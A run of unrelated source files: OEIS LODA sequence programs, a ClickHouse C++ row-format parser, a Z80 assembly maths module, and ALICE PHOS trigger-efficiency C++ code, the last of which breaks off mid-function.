; A050982: 5-idempotent numbers. ; 1,30,525,7000,78750,787500,7218750,61875000,502734375,3910156250,29326171875,213281250000,1510742187500,10458984375000,70971679687500,473144531250000,3105010986328125,20091247558593750,128360748291015625,810699462890625000,5066871643066406250,31366348266601562500,192475318908691406250,1171588897705078125000,7078349590301513671875,42470097541809082031250,253187119960784912109375,1500368118286132812500000,8841454982757568359375000,51829218864440917968750000,302337110042572021484375000 mov $1,5 pow $1,$0 mov $2,5 add $2,$0 bin $2,$0 mul $1,$2 mov $0,$1
#include <Processors/Formats/RowInputFormatWithNamesAndTypes.h> #include <Processors/Formats/ISchemaReader.h> #include <DataTypes/DataTypeNothing.h> #include <DataTypes/DataTypeFactory.h> #include <IO/ReadHelpers.h> #include <IO/Operators.h> namespace DB { namespace ErrorCodes { extern const int INCORRECT_DATA; } RowInputFormatWithNamesAndTypes::RowInputFormatWithNamesAndTypes( const Block & header_, ReadBuffer & in_, const Params & params_, bool with_names_, bool with_types_, const FormatSettings & format_settings_, std::unique_ptr<FormatWithNamesAndTypesReader> format_reader_) : RowInputFormatWithDiagnosticInfo(header_, in_, params_) , format_settings(format_settings_) , with_names(with_names_) , with_types(with_types_) , format_reader(std::move(format_reader_)) { const auto & sample = getPort().getHeader(); size_t num_columns = sample.columns(); data_types.resize(num_columns); column_indexes_by_names.reserve(num_columns); for (size_t i = 0; i < num_columns; ++i) { const auto & column_info = sample.getByPosition(i); data_types[i] = column_info.type; column_indexes_by_names.emplace(column_info.name, i); } } void RowInputFormatWithNamesAndTypes::setupAllColumnsByTableSchema() { const auto & header = getPort().getHeader(); column_mapping->column_indexes_for_input_fields.resize(header.columns()); column_mapping->names_of_columns = header.getNames(); for (size_t i = 0; i < column_mapping->column_indexes_for_input_fields.size(); ++i) column_mapping->column_indexes_for_input_fields[i] = i; } void RowInputFormatWithNamesAndTypes::addInputColumn(const String & column_name, std::vector<bool> & read_columns) { column_mapping->names_of_columns.push_back(column_name); const auto column_it = column_indexes_by_names.find(column_name); if (column_it == column_indexes_by_names.end()) { if (format_settings.skip_unknown_fields) { column_mapping->column_indexes_for_input_fields.push_back(std::nullopt); return; } throw Exception( ErrorCodes::INCORRECT_DATA, "Unknown field found in {} header: '{}' at position {}\nSet the 'input_format_skip_unknown_fields' parameter explicitly to ignore and proceed", getName(), column_name, column_mapping->column_indexes_for_input_fields.size()); } const auto column_index = column_it->second; if (read_columns[column_index]) throw Exception("Duplicate field found while parsing TSV header: " + column_name, ErrorCodes::INCORRECT_DATA); read_columns[column_index] = true; column_mapping->column_indexes_for_input_fields.emplace_back(column_index); } void RowInputFormatWithNamesAndTypes::readPrefix() { /// This is a bit of abstraction leakage, but we need it in parallel parsing: /// we check if this InputFormat is working with the "real" beginning of the data. if (getCurrentUnitNumber() != 0) return; if (with_names || with_types || data_types.at(0)->textCanContainOnlyValidUTF8()) { /// We assume that column name or type cannot contain BOM, so, if format has header, /// then BOM at beginning of stream cannot be confused with name or type of field, and it is safe to skip it. skipBOMIfExists(*in); } /// Skip prefix before names and types. format_reader->skipPrefixBeforeHeader(); if (with_names) { if (format_settings.with_names_use_header) { std::vector<bool> read_columns(data_types.size(), false); auto column_names = format_reader->readNames(); for (const auto & name : column_names) addInputColumn(name, read_columns); for (size_t i = 0; i != read_columns.size(); ++i) { if (!read_columns[i]) column_mapping->not_presented_columns.push_back(i); } } else { setupAllColumnsByTableSchema(); format_reader->skipNames(); } } else if (!column_mapping->is_set) setupAllColumnsByTableSchema(); if (with_types) { /// Skip delimiter between names and types. format_reader->skipRowBetweenDelimiter(); if (format_settings.with_types_use_header) { auto types = format_reader->readTypes(); if (types.size() != column_mapping->column_indexes_for_input_fields.size()) throw Exception( ErrorCodes::INCORRECT_DATA, "The number of data types differs from the number of column names in input data"); /// Check that types from input matches types from header. for (size_t i = 0; i < types.size(); ++i) { if (column_mapping->column_indexes_for_input_fields[i] && data_types[*column_mapping->column_indexes_for_input_fields[i]]->getName() != types[i]) { throw Exception( ErrorCodes::INCORRECT_DATA, "Type of '{}' must be {}, not {}", getPort().getHeader().getByPosition(*column_mapping->column_indexes_for_input_fields[i]).name, data_types[*column_mapping->column_indexes_for_input_fields[i]]->getName(), types[i]); } } } else format_reader->skipTypes(); } } void RowInputFormatWithNamesAndTypes::insertDefaultsForNotSeenColumns(MutableColumns & columns, RowReadExtension & ext) { for (auto index : column_mapping->not_presented_columns) { columns[index]->insertDefault(); ext.read_columns[index] = false; } } bool RowInputFormatWithNamesAndTypes::readRow(MutableColumns & columns, RowReadExtension & ext) { if (unlikely(end_of_stream)) return false; if (unlikely(format_reader->checkForSuffix())) { end_of_stream = true; return false; } updateDiagnosticInfo(); if (likely(row_num != 1 || (getCurrentUnitNumber() == 0 && (with_names || with_types)))) format_reader->skipRowBetweenDelimiter(); format_reader->skipRowStartDelimiter(); ext.read_columns.resize(data_types.size()); for (size_t file_column = 0; file_column < column_mapping->column_indexes_for_input_fields.size(); ++file_column) { const auto & column_index = column_mapping->column_indexes_for_input_fields[file_column]; const bool is_last_file_column = file_column + 1 == column_mapping->column_indexes_for_input_fields.size(); if (column_index) ext.read_columns[*column_index] = format_reader->readField( *columns[*column_index], data_types[*column_index], serializations[*column_index], is_last_file_column, column_mapping->names_of_columns[file_column]); else format_reader->skipField(file_column); if (!is_last_file_column) format_reader->skipFieldDelimiter(); } format_reader->skipRowEndDelimiter(); insertDefaultsForNotSeenColumns(columns, ext); /// If defaults_for_omitted_fields is set to 0, we should leave already inserted defaults. if (!format_settings.defaults_for_omitted_fields) ext.read_columns.assign(ext.read_columns.size(), true); return true; } void RowInputFormatWithNamesAndTypes::resetParser() { RowInputFormatWithDiagnosticInfo::resetParser(); column_mapping->column_indexes_for_input_fields.clear(); column_mapping->not_presented_columns.clear(); column_mapping->names_of_columns.clear(); end_of_stream = false; } void RowInputFormatWithNamesAndTypes::tryDeserializeField(const DataTypePtr & type, IColumn & column, size_t file_column) { const auto & index = column_mapping->column_indexes_for_input_fields[file_column]; if (index) { format_reader->checkNullValueForNonNullable(type); const bool is_last_file_column = file_column + 1 == column_mapping->column_indexes_for_input_fields.size(); format_reader->readField(column, type, serializations[*index], is_last_file_column, column_mapping->names_of_columns[file_column]); } else { format_reader->skipField(file_column); } } bool RowInputFormatWithNamesAndTypes::parseRowAndPrintDiagnosticInfo(MutableColumns & columns, WriteBuffer & out) { if (in->eof()) { out << "<End of stream>\n"; return false; } if (!format_reader->tryParseSuffixWithDiagnosticInfo(out)) return false; if (likely(row_num != 1) && !format_reader->parseRowBetweenDelimiterWithDiagnosticInfo(out)) return false; if (!format_reader->parseRowStartWithDiagnosticInfo(out)) return false; for (size_t file_column = 0; file_column < column_mapping->column_indexes_for_input_fields.size(); ++file_column) { if (column_mapping->column_indexes_for_input_fields[file_column].has_value()) { const auto & header = getPort().getHeader(); size_t col_idx = column_mapping->column_indexes_for_input_fields[file_column].value(); if (!deserializeFieldAndPrintDiagnosticInfo(header.getByPosition(col_idx).name, data_types[col_idx], *columns[col_idx], out, file_column)) return false; } else { static const String skipped_column_str = "<SKIPPED COLUMN>"; static const DataTypePtr skipped_column_type = std::make_shared<DataTypeNothing>(); static const MutableColumnPtr skipped_column = skipped_column_type->createColumn(); if (!deserializeFieldAndPrintDiagnosticInfo(skipped_column_str, skipped_column_type, *skipped_column, out, file_column)) return false; } /// Delimiters if (file_column + 1 != column_mapping->column_indexes_for_input_fields.size()) { if (!format_reader->parseFieldDelimiterWithDiagnosticInfo(out)) return false; } } return format_reader->parseRowEndWithDiagnosticInfo(out); } bool RowInputFormatWithNamesAndTypes::isGarbageAfterField(size_t index, ReadBuffer::Position pos) { return format_reader->isGarbageAfterField(index, pos); } void RowInputFormatWithNamesAndTypes::setReadBuffer(ReadBuffer & in_) { format_reader->setReadBuffer(in_); IInputFormat::setReadBuffer(in_); } FormatWithNamesAndTypesSchemaReader::FormatWithNamesAndTypesSchemaReader( ReadBuffer & in_, const FormatSettings & format_settings, bool with_names_, bool with_types_, FormatWithNamesAndTypesReader * format_reader_, DataTypePtr default_type_) : IRowSchemaReader(in_, format_settings, default_type_), with_names(with_names_), with_types(with_types_), format_reader(format_reader_) { } NamesAndTypesList FormatWithNamesAndTypesSchemaReader::readSchema() { if (with_names || with_types) skipBOMIfExists(in); format_reader->skipPrefixBeforeHeader(); Names names; if (with_names) names = format_reader->readNames(); if (with_types) { format_reader->skipRowBetweenDelimiter(); std::vector<String> data_type_names = format_reader->readTypes(); if (data_type_names.size() != names.size()) throw Exception( ErrorCodes::INCORRECT_DATA, "The number of column names {} differs with the number of types {}", names.size(), data_type_names.size()); NamesAndTypesList result; for (size_t i = 0; i != data_type_names.size(); ++i) result.emplace_back(names[i], DataTypeFactory::instance().get(data_type_names[i])); return result; } if (!names.empty()) setColumnNames(names); /// We should determine types by reading rows with data. Use the implementation from IRowSchemaReader. return IRowSchemaReader::readSchema(); } }
; Maths module .module Maths Code: .module Trig Cos add a,64 Sin add a,a ld l,a ld a,0 adc a,Table >> 8 ld h,a ld c,(hl) inc hl ld b,(hl) ret PackedTable PreviousValue = 0 Delta = 0 .for angle = 0 to 127 NewValue = round(256 * sin(angle / 256 * 2 * pi())) Delta <<= 4 Delta |= (NewValue - PreviousValue) & $0F .if angle & 1 .db Delta Delta = 0 .endif PreviousValue = NewValue .loop .endmodule .module Mul U8U8: ; HL = H * E ld l,0 ld d,l sla h jr nc,$+3 ld l,e .rept 7 add hl,hl jr nc,$+3 add hl,de .loop ret U16U16 ; DEHL = sDE*sBC ld hl,0 .rept 16 add hl,hl rl e rl d jp nc,+ add hl,bc jp nc,+ inc de + .loop ret S16S16 ; sDEHL = sDE*sBC ld l,0 bit 7,d jp z,{+} ; DE is -ve inc l dec de ld a,d \ cpl \ ld d,a ld a,e \ cpl \ ld e,a + bit 7,b jp z,{+} ; BC is signed. inc l dec bc ld a,b \ cpl \ ld b,a ld a,c \ cpl \ ld c,a + ld a,l call U16U16 and 1 ret z ; No need to flip sign of DEHL ld a,h \ or l ; dec dehl dec l jr nc,+ dec h jr nc,+ dec e jr nc,+ dec d +: ld a,d \ cpl \ ld d,a ld a,e \ cpl \ ld e,a ld a,h \ cpl \ ld h,a ld a,l \ cpl \ ld l,a ret S48: ld a,h add a,a sbc a,a add hl,hl \ rla add hl,hl \ rla add hl,hl \ rla add hl,hl \ rla ld c,a ld e,l ld d,h add hl,hl \ rla add hl,de adc a,c ret .endmodule .module Div U24U16 ; ABC rHL = ABC/DE (unsigned) (HL=0) .rept 24 sll c rl b rl a adc hl,hl sbc hl,de jr nc,$+4 add hl,de dec c .loop ret S24S16 ; ABC = ABC / DE ld l,a ld h,0 bit 7,d \ jp z,{+} \ inc h \ neg_de() \+ bit 7,l \ jp z,{+} inc h cpl_bc() ld a,l \ cpl \ ld l,a inc c \ jp nz,{+} inc b \ jp nz,{+} inc l + bit 0,h ld a,l ld hl,$0000 jp z,U24U16 call U24U16 ld l,a cpl_bc() ld a,l cpl inc c \ ret nz inc b \ ret nz inc a ret S16S16 ; ABC rHL = HL/(DE/256) (signed) ld c,0 bit 7,h \ jp z,{+} \ inc c \ neg_hl() \+ bit 7,d \ jp z,{+} \ inc c \ neg_de() \+ bit 0,c ld a,h \ ld b,l ld hl,$0000 ld c,h jp z,U24U16 call U24U16 ; Now, negate abc ld l,a cpl_bc() ld a,l cpl inc c \ ret nz inc b \ ret nz inc a ret .endmodule .module Compare HL.NegDE.Signed: neg_de() HL.DE.Signed: ld a,d xor $80 ld d,a ld a,h xor $80 ld h,a or a sbc hl,de ret cp d ret nz ld a,l cp e ret .endmodule .if Options.ReportModuleSizes \ .echoln strformat("Maths module: {0:N0} bytes.", $-Code) \ .endif .endmodule
; A220029: Number of n X 5 arrays of the minimum value of corresponding elements and their horizontal or diagonal neighbors in a random, but sorted with lexicographically nondecreasing rows and nonincreasing columns, 0..1 n X 5 array. ; 5,12,30,61,111,187,297,450,656,926,1272,1707,2245,2901,3691,4632,5742,7040,8546,10281,12267,14527,17085,19966,23196,26802,30812,35255,40161,45561,51487,57972,65050,72756,81126,90197,100007,110595,122001,134266,147432,161542,176640,192771,209981,228317,247827,268560,290566,313896,338602,364737,392355,421511,452261,484662,518772,554650,592356,631951,673497,717057,762695,810476,860466,912732,967342,1024365,1083871,1145931,1210617,1278002,1348160,1421166,1497096,1576027,1658037,1743205,1831611,1923336,2018462,2117072,2219250,2325081,2434651,2548047,2665357,2786670,2912076,3041666,3175532,3313767,3456465,3603721,3755631,3912292,4073802,4240260,4411766,4588421,4770327,4957587,5150305,5348586,5552536,5762262,5977872,6199475,6427181,6661101,6901347,7148032,7401270,7661176,7927866,8201457,8482067,8769815,9064821,9367206,9677092,9994602,10319860,10652991,10994121,11343377,11700887,12066780,12441186,12824236,13216062,13616797,14026575,14445531,14873801,15311522,15758832,16215870,16682776,17159691,17646757,18144117,18651915,19170296,19699406,20239392,20790402,21352585,21926091,22511071,23107677,23716062,24336380,24968786,25613436,26270487,26940097,27622425,28317631,29025876,29747322,30482132,31230470,31992501,32768391,33558307,34362417,35180890,36013896,36861606,37724192,38601827,39494685,40402941,41326771,42266352,43221862,44193480,45181386,46185761,47206787,48244647,49299525,50371606,51461076,52568122,53692932,54835695,55996601,57175841,58373607,59590092,60825490,62079996,63353806,64647117,65960127,67293035,68646041,70019346,71413152,72827662,74263080,75719611,77197461,78696837,80217947,81761000,83326206,84913776 mov $30,$0 mov $32,$0 add $32,1 lpb $32,1 clr $0,30 mov $0,$30 sub $32,1 sub $0,$32 mov $27,$0 mov $29,$0 add $29,1 lpb $29,1 mov $0,$27 sub $29,1 sub $0,$29 mov $2,$0 add $0,1 cal $2,100542 ; Two-color Rado numbers R(0,n). sub $2,1 add $0,$2 add $0,2411 mov $2,1 mov $3,3 sub $3,$0 sub $2,$3 add $2,2 mov $1,$2 sub $1,2411 add $28,$1 lpe add $31,$28 lpe mov $1,$31
; A126883: a(n) = (2^0)*(2^1)*(2^2)*(2^3)...(2^n)-1 = 2^T(n) - 1 where T(n) = A000217(n) is the n-th triangular number. ; 0,1,7,63,1023,32767,2097151,268435455,68719476735,35184372088831,36028797018963967,73786976294838206463,302231454903657293676543,2475880078570760549798248447,40564819207303340847894502572031 add $0,1 bin $0,2 mov $1,2 pow $1,$0 sub $1,1 mov $0,$1
#include "TNamed.h" #include "TRandom.h" #include "AliPHOSTriggerUtils.h" #include "AliVEvent.h" #include "AliAODEvent.h" #include "AliESDEvent.h" #include "AliVCluster.h" #include "AliVCaloCells.h" #include "AliOADBContainer.h" #include "AliPHOSGeoUtils.h" #include "AliLog.h" ClassImp(AliPHOSTriggerUtils) //----------------------------------------------------------------------- AliPHOSTriggerUtils::AliPHOSTriggerUtils():TNamed(), fbdrL(-1), fbdrR( 3), fRun(-1), fFixedRun(kFALSE), fEfficiencyChoiceOption(0), fEvent(0x0), fGeom(0x0), fNtrg4x4(0) { for(Int_t mod=0;mod<5;mod++)fPHOSBadMap[mod]=0x0 ; } //----------------------------------------------------------------------- AliPHOSTriggerUtils::AliPHOSTriggerUtils(const Text_t* name, const Text_t* title): TNamed(name, title), fbdrL(-1), fbdrR( 3), fRun(-1), fFixedRun(kFALSE), fEfficiencyChoiceOption(0), fEvent(0x0), fGeom(new AliPHOSGeoUtils("IHEP","")), fNtrg4x4(0) { fGeom = new AliPHOSGeoUtils("IHEP",""); for(Int_t mod=0;mod<5;mod++)fPHOSBadMap[mod]=0x0 ; } //----------------------------------------------------------------------- void AliPHOSTriggerUtils::SetEvent(AliVEvent * event){ //read bad map corresponding this run, //prepre list of fired PHOS triggers fEvent=event ; Int_t runNumber=-999 ; AliAODEvent *aod = dynamic_cast<AliAODEvent*>(event) ; if(aod) runNumber = aod->GetRunNumber() ; else{ AliESDEvent *esd = dynamic_cast<AliESDEvent*>(event) ; if(esd) runNumber = esd->GetRunNumber() ; } if(fFixedRun){ Bool_t toRead= kTRUE ; for(Int_t mod=0; mod<5;mod++){ if(fPHOSBadMap[mod]) toRead = kFALSE ; //already read } if(toRead){ AliOADBContainer badmapContainer(Form("phosTriggerBadMap")); badmapContainer.InitFromFile("$ALICE_PHYSICS/OADB/PHOS/PHOSTrigBadMaps.root","phosTriggerBadMap"); TObjArray *maps = (TObjArray*)badmapContainer.GetObject(fRun,"phosTriggerBadMap"); if(!maps){ AliError(Form("Can not read Trigger Bad map for run %d. \n",fRun)) ; } else{ AliInfo(Form("Setting PHOS Trigger bad map with name %s \n",maps->GetName())) ; for(Int_t mod=0; mod<5;mod++){ if(fPHOSBadMap[mod]) delete fPHOSBadMap[mod] ; TH2I * h = (TH2I*)maps->At(mod) ; if(h) fPHOSBadMap[mod]=new TH2I(*h) ; } } } } else{ //use runnumber from header //Check if run number changed and one should (re)read bad map if(fRun!=runNumber){ fRun = runNumber ; // AliOADBContainer badmapContainer(Form("phosTriggerBadMap")); badmapContainer.InitFromFile("$ALICE_PHYSICS/OADB/PHOS/PHOSTrigBadMaps.root","phosTriggerBadMap"); TObjArray *maps = (TObjArray*)badmapContainer.GetObject(fRun,"phosTriggerBadMap"); if(!maps){ AliError(Form("Can not read Trigger Bad map for run %d. \n",fRun)) ; } else{ AliInfo(Form("Setting PHOS Trigger bad map with name %s \n",maps->GetName())) ; for(Int_t mod=0; mod<5;mod++){ if(fPHOSBadMap[mod]) delete fPHOSBadMap[mod] ; TH2I * h = (TH2I*)maps->At(mod) ; if(h) fPHOSBadMap[mod]=new TH2I(*h) ; } } } } AliVCaloTrigger* trgESD = event->GetCaloTrigger("PHOS"); trgESD->Reset(); // ************************************************************************************************* // Trigger // ************************************************************************ fNtrg4x4 = 0; //Loop over 4x4 fired regions while(trgESD->Next()) { Int_t tmod,tabsId; // "Online" module number, bottom-left 4x4 edge cell absId trgESD->GetPosition(tmod,tabsId); Int_t trelid[4] ; fGeom->AbsToRelNumbering(tabsId,trelid); Int_t l1Threshold=trgESD->GetL1TimeSum() ; // tdig->GetL1Threshold() // L1 threshold: 0-High, 1-Medium, 2-Low Int_t trType=0; // 0-L0, 1-L1 trgESD->GetTriggerBits(trType) ; Int_t trBits=0; if(trType==0) trBits=1 ; else trBits=1<<(3-l1Threshold) ; //Bits: 0: L0, 1:L1low, 2:L1med, 3:L1high //Check if already exist Bool_t isNew=kTRUE ; for(Int_t i=0;i<fNtrg4x4; i++){ if(fTrMod4x4[i] != trelid[0]) continue; if(fTrX4x4[i] != trelid[2]) continue; if(fTrZ4x4[i] != trelid[3])continue; //exist fTrK4x4[i]|= trBits ; isNew=kFALSE ; break ; } if(isNew){ fTrMod4x4[fNtrg4x4] = trelid[0]; fTrX4x4[fNtrg4x4] = trelid[2]; fTrZ4x4[fNtrg4x4] = trelid[3]; fTrK4x4[fNtrg4x4] = trBits; // L0, L1low, L1med, L1high if ( fNtrg4x4<999 ) fNtrg4x4++; else AliError("PHOS trigger capacity exceeded, increase size of fTrMod4x4[],fTrX4x4[],fTrZ4x4[] arrays") ; } } } //----------------------------------------------------------------------- Int_t AliPHOSTriggerUtils::IsFiredTrigger(AliVCluster * clu){ //Returns which trigger fired cluster: //Bits: 0: L0, 1:L1low, 2:L1med, 3:L1high if(!fEvent) return 0 ; //Maximum energy tower Int_t maxId=-1, relid[4]; Double_t eMax = -111; AliVCaloCells * phsCells=fEvent->GetPHOSCells() ; for (Int_t iDig=0; iDig< clu->GetNCells(); iDig++){ Int_t cellAbsId1 = clu->GetCellAbsId(iDig); Double_t eCell = phsCells->GetCellAmplitude(cellAbsId1)*clu->GetCellAmplitudeFraction(iDig); if(eCell>eMax) { eMax = eCell; maxId = cellAbsId1; } } fGeom->AbsToRelNumbering(maxId, relid); Int_t mod= relid[0] ; Int_t ix = relid[2]; Int_t iz = relid[3]; if(!TestBadMap(mod,ix,iz)) return 0 ; for (Int_t itr=0; itr < fNtrg4x4; itr++ ){ if(fTrMod4x4[itr] != mod ) continue; //trigger fired in other module if( (ix - fTrX4x4[itr] ) > fbdrL && (ix - fTrX4x4[itr] ) < fbdrR && (iz - fTrZ4x4[itr] ) > fbdrL && (iz - fTrZ4x4[itr] ) < fbdrR ){ //this is trigger return fTrK4x4[itr] ; // Int_t branch = FindBranch(tnX4x4[n4x4], tnZ4x4[n4x4]); //tru, gde srabotal trigger } }//tr44 return 0 ; } //----------------------------------------------------------------------- Int_t AliPHOSTriggerUtils::IsFiredTriggerMC(AliVCluster * clu){ //Estimate probability to fire PHOS trigger //Bits: 0: L0, 1:L1low, 2:L1med, 3:L1high if(!fEvent) return 0 ; //Maximum energy tower Int_t maxId=-1, relid[4]; Double_t eMax = -111; AliVCaloCells * phsCells=fEvent->GetPHOSCells() ; for (Int_t iDig=0; iDig< clu->GetNCells(); iDig++){ Int_t cellAbsId1 = clu->GetCellAbsId(iDig); Double_t eCell = phsCells->GetCellAmplitude(cellAbsId1)*clu->GetCellAmplitudeFraction(iDig); if(eCell>eMax) { eMax = eCell; maxId = cellAbsId1; } } fGeom->AbsToRelNumbering(maxId, relid); Int_t mod= relid[0] ; Int_t ix = relid[2]; Int_t iz = relid[3]; if(!TestBadMap(mod,ix,iz)){ return 0 ; } //Now etimate probability from the parameterization Int_t result = 0; if(fRun<209122){ //Run1 Only L0 if(gRandom->Uniform()<TriggerProbabilityLHC13bcdef(clu->E(),mod)) result=1 ; } else if((fRun>=265015 && fRun<=267166)//LHC16qrst ){ Int_t ddl = WhichDDL(mod, ix) ; Double_t rdm =gRandom->Uniform() ; if(rdm<TriggerProbabilityLHC16qrst(clu->E(),ddl)) result=1 ; if(rdm<TriggerL1ProbabilityLHC16qrst(clu->E(),ddl)) result|=(1<<1) ; //L1 } else if((fRun>=282008 && fRun<=282441) //LHC17pq ){ Int_t ddl = WhichDDL(mod, ix) ; Double_t rdm =gRandom->Uniform() ; if(rdm<TriggerProbabilityLHC17pq(clu->E(),ddl)) result=1 ; } else if ((fRun>=252603 && fRun<=264347) //LHC16_AllPeriods_pp_NomB ){ Int_t ddl = WhichDDL(mod, ix) ; Double_t rdm =gRandom->Uniform() ; if (fEfficiencyChoiceOption == 1){ if(rdm<TriggerProbabilityLHC16_AllPeriods_pp_NomB_ReducedEff(clu->E(),ddl)) result=1 ; } else if(fEfficiencyChoiceOption == 2) { if(rdm<TriggerProbabilityLHC16_AllPeriods_pp_NomB_ReducedEff_BinomialErr(clu->E(),ddl)) result=1 ; } else { if(rdm<TriggerProbabilityLHC16_AllPeriods_pp_NomB(clu->E(),ddl)) result=1 ; } } else if ((fRun>=270531 && fRun<=282704) //LHC17_AllPeriods_pp_NomB ){ Int_t ddl = WhichDDL(mod, ix) ; Double_t rdm =gRandom->Uniform() ; if (fEfficiencyChoiceOption == 1){ if(rdm<TriggerProbabilityLHC17_AllPeriods_pp_NomB_ReducedEff(clu->E(),ddl)) result=1 ; } else if(fEfficiencyChoiceOption == 2) { if(rdm<TriggerProbabilityLHC17_AllPeriods_pp_NomB_ReducedEff_BinomialErr(clu->E(),ddl)) result=1 ; } else { if(rdm<TriggerProbabilityLHC17_AllPeriods_pp_NomB(clu->E(),ddl)) result=1 ; } } else if ((fRun>=284706 && fRun<=295232) //LHC18_AllPeriods_pp_NomB ){ Int_t ddl = WhichDDL(mod, ix) ; Double_t rdm =gRandom->Uniform() ; if (fEfficiencyChoiceOption == 1){ if(rdm<TriggerProbabilityLHC18_AllPeriods_pp_NomB_ReducedEff(clu->E(),ddl)) result=1 ; } else if(fEfficiencyChoiceOption == 2) { if(rdm<TriggerProbabilityLHC18_AllPeriods_pp_NomB_ReducedEff_BinomialErr(clu->E(),ddl)) result=1 ; } else { if(rdm<TriggerProbabilityLHC18_AllPeriods_pp_NomB(clu->E(),ddl)) result=1 ; } } else { for(Int_t bit=0; bit<4; bit++){ if(gRandom->Uniform()<TriggerProbability(clu->E(),mod,bit)) result|=1<<bit ; } } return result ; } //----------------------------------------------------------------------- Int_t AliPHOSTriggerUtils::FindBranch(Int_t nX, Int_t nZ) { //Calculate branch number from column and raw of a cell Int_t sm=-1; if ( nX>=0 && nX <=15 && nZ <= 27 ) sm = 0; if ( nX>=16 && nX <=31 && nZ <= 27 ) sm = 1; if ( nX>=32 && nX <=47 && nZ <= 27 ) sm = 2; if ( nX>=48 && nX <=64 && nZ <= 27 ) sm = 3; if ( nX>=0 && nX <=15 && nZ >= 28 && nZ <= 56 ) sm = 4; if ( nX>=16 && nX <=31 && nZ >= 28 && nZ <= 56 ) sm = 5; if ( nX>=32 && nX <=47 && nZ >= 28 && nZ <= 56 ) sm = 6; if ( nX>=48 && nX <=64 && nZ >= 28 && nZ <= 56 ) sm = 7; return sm; } //______________________________________________________ Int_t AliPHOSTriggerUtils::WhichDDL(Int_t module, Int_t cellx) { const Int_t Nmod=5;//totally, 5 PHOS modules are designed. Int_t ddl = -1; if(cellx<1 || 64<cellx) return -1; if(module<1 || 4<module){ return -1; } else{ ddl = (Nmod-module) * 4 + (cellx-1)/16;//convert offline module numbering to online. return ddl; } } //----------------------------------------------------------------------- Bool_t AliPHOSTriggerUtils::TestBadMap(Int_t mod, Int_t ix,Int_t iz){ //Test if this is good cell if(!fPHOSBadMap[mod]) return kTRUE ; if( fPHOSBadMap[mod]->GetBinContent(ix,iz)>0) return kFALSE ; else return kTRUE ; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbability(Double_t eClu, Int_t module,Int_t bit){ //Placeholder for turn-on curves parametrization return 1; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerProbabilityLHC13bcdef(Double_t eClu, Int_t module){ //Parameterization provided by Yu. and V. Riabov if (module!=1 && module!=3) return 0; //Parameterization of efficiency function const Double_t ar[4][7]={0.,0.,0.,0.,0.,0.,0., 7.10000e-001,3.75156e+007,1.76476e+007,3.77306e+007,1.61226e+006, 3.76983e+007,9.02358e+000, 0.,0.,0.,0.,0.,0.,0., 1.00000e+000, 1.15962e+008,1.04148e+008,9.06092e+000,1.37488e+008,2.25460e+011,1.28279e+001} ; //tabulated depence for low E part const Int_t num[4]={0,22,0,24} ; const Double_t ent[4]={0.,6.83333,0.,7.5} ; const Double_t en[4][30]={ 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.1667, 0.5000, 0.8333, 1.1667, 1.5000, 1.8333, 2.1667, 2.5000, 2.8333, 3.1667, 3.5000, 3.8333, 4.1667, 4.5000, 4.8333, 5.1667, 5.5000, 5.8333, 6.1667, 6.5000, 6.8333, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.1667, 0.5000, 0.8333, 1.1667, 1.5000, 1.8333, 2.1667, 2.5000, 2.8333, 3.1667, 3.5000, 3.8333, 4.1667, 4.5000, 4.8333, 5.1667, 5.5000, 5.8333, 6.1667, 6.5000, 6.8333, 7.1667, 7.5000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000 } ; const Double_t eff[4][30]={ 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0001, 0.0002, 0.0006, 0.0020, 0.0056, 0.0112, 0.0201, 0.0314, 0.0442, 0.0580, 0.0748, 0.0959, 0.1154, 0.1371, 0.1498, 0.1705, 0.1844, 0.2194, 0.2465, 0.2798, 0.3366, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0001, 0.0001, 0.0003, 0.0007, 0.0023, 0.0086, 0.0229, 0.0404, 0.0561, 0.0701, 0.0734, 0.0831, 0.1090, 0.1279, 0.1529, 0.1950, 0.2313, 0.3302, 0.4269, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000 } ; if (eClu >= ent[module]){ Double_t denom= 1.+ ar[module][1]*TMath::Power(eClu,-ar[module][2]) + ar[module][3]*TMath::Power(eClu,-ar[module][4]) + ar[module][5]*TMath::Power(eClu,-ar[module][6]) ; if(denom>0) return ar[module][0]/denom ; else return 0. ; } else { for (Int_t i=1; i<num[module]; i++) { if (eClu <= en[module][i]) { return eff[module][i-1]+(eClu - en[module][i-1])*(eff[module][i]-eff[module][i-1])/(en[module][i]-en[module][i-1]); } } } return 0 ; } //----------------------------------------------------------------------- Double_t AliPHOSTriggerUtils::TriggerL1ProbabilityLHC16qrst(Double_t x, Int_t ddl){ //Parameterization of turn-on curve for period LHC16qrst L1 & !L0 trigger // Note that it is done for DDLs, not modules if(ddl<8 || 